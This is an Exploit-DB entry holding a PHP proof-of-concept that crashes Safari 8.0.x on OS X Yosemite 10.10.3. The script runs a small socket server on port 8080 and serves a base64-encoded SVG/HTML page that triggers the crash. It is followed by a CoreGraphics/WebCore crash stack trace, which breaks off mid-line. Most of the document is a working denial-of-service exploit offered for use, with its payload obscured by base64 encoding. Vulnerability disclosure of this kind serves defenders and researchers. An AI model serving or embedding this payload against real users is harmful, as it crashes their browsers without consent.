Exploit-DB #37386
Description: Apple Mac OSX 10.10.3 (Yosemite) Safari 8.0.x - Crash (PoC)
Type: dos
Platform: osx
Date: 2015-06-26
Author: Mohammad Reza Espargham

Exploit:
#!/usr/bin/php
<?php
# Title          :  Safari 8.0.X / OS X Yosemite 10.10.3 Crash Proof Of 
Concept
# Product Website:  https://www.apple.com/safari/
# Author         :  Mohammad Reza Espargham
# Linkedin       :  https://ir.linkedin.com/in/rezasp
# E-Mail         :  me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website        :  www.reza.es
# Twitter        :  https://twitter.com/rezesp
# FaceBook       :  https://www.facebook.com/mohammadreza.espargham



# Usage :
# php poc.php
# Open Safari and open ip:8080 / 127.0.0.1:8080
# Crashed ;)

#Main POC Code
$reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create 
socket!');
socket_bind($reza, 0,8080);
socket_listen($reza);
print "\nNow Open Safari and open ip:8080 / 127.0.0.1:8080\n\n";
$msg = 
'PGh0bWw+CjxzdHlsZT4Kc3ZnIHsKICAgIHBhZGRpbmctdG9wOiAxMzk0JTsKICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7Cn0KPC9zdHlsZT4KPHN2ZyB2aWV3Qm94PSIxIDIgNTAwIDUwMCIgd2lkdGg9IjkwMCIgaGVpZ2h0PSI5MDAiPgo8cG9seWxpbmUgcG9pbnRzPSIxIDEsMiAyIj48L3BvbHlsaW5lPgo8L3N2Zz4KPC9odG1sPg==';
$msgd=base64_decode($msg);
for (;;) {
         if ($client = @socket_accept($reza)) {
             socket_write($client, "HTTP/1.1 200 OK\r\n" .
             "Content-length: " . strlen($msgd) . "\r\n" .
             "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
             $msgd);
         }
         else usleep(100000);
}





#Crash Report
/*

Process Model:
Multiple Web Processes


Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib        	0x00007fff8e628286 __pthread_kill + 
10
1   libsystem_c.dylib             	0x00007fff90619b53 abort + 129
2   libsystem_c.dylib             	0x00007fff905e1c39 __assert_rtn + 321
3   com.apple.CoreGraphics        	0x00007fff87716e4e 
CGPathCreateMutableCopyByTransformingPath + 242
4   com.apple.CoreGraphics        	0x00007fff8773aff0 CGContextAddPath + 
93
5   com.apple.WebCore             	0x[PII_REDACTED]ea8c84 
WebCore::GraphicsContext::fillPath(WebCore::Path const&) + 148
6   com.apple.WebCore             	0x[PII_REDACTED]97e851 
WebCore::RenderSVGResourceSolidColor::postApplyResource(WebCore::RenderElement&, 
WebCore::GraphicsContext*&, unsigned short, WebCore::Path const*, 
WebCore::RenderSVGShape const*) + 65
7   com.apple.WebCore             	0x[PII_REDACTED]97f08a 
WebCore::RenderSVGShape::fillShape(WebCore::RenderStyle const&, 
WebCore::GraphicsContext*) + 122
8   com.apple.WebCore             	0x[PII_REDACTED]97f3c3 
WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) + 131
9   com.apple.WebCore             	0x[PII_REDACTED]fa73cb 
WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 379
10  com.apple.WebCore             	0x[PII_REDACTED]fa7062 
WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 1330
11  com.apple.WebCore             	0x[PII_REDACTED]f1ee72 
WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 722
12  com.apple.WebCore             	0x[PII_REDACTED]429e88 
WebCore::InlineElementBox::paint(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 
312
13  com.apple.WebCore             	0x[PII_REDACTED]ea4a63 
WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 1251
14  com.apple.WebCore             	0x[PII_REDACTED]ea4509 
WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 89
15  com.apple.WebCore             	0x[PII_REDACTED]e53d96 
WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, 
WebCore::PaintInfo&, WebCore::LayoutPoint const&) const + 694
16  com.apple.WebCore             	0x[PII_REDACTED]e51373 
WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 67
17  com.apple.WebCore             	0x[PII_REDACTED]e50724 
WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 420
18  com.apple.WebCore             	0x[PII_REDACTED]e529af 
WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 287
19  com.apple.WebCore             	0x[PII_REDACTED]8db139 
WebCore::RenderBlock::paintChild(WebCore::RenderBox&, 
WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, 
bool) + 393
20  com.apple.WebCore             	0x[PII_REDACTED]e51478 
WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72
21  com.apple.WebCore             	0x[PII_REDACTED]e51420 
WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 240
22  com.apple.WebCore             	0x[PII_REDACTED]e50724 
WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 420
23  com.apple.WebCore             	0x[PII_REDACTED]e529af 
WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 287
24  com.apple.WebCore             	0x[PII_REDACTED]e512b2 
WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, 
WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow> const&, 
WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo 
const&, unsigned int, WebCore::RenderObject*) + 370
25  com.apple.WebCore             	0x[PII_REDACTED]e50f87 
WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 
1ul, WTF::CrashOnOverflow> const&, WebCore::GraphicsContext*, 
WebCore::GraphicsContext*, WebCore::LayoutRect const&, bool, 
WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, 
WebCore::RenderObject*, bool, bool) + 423
26  com.apple.WebCore             	0x[PII_REDACTED]e4fc30 
WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext*, 
WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 2576
27  com.apple.WebCore             	0x00000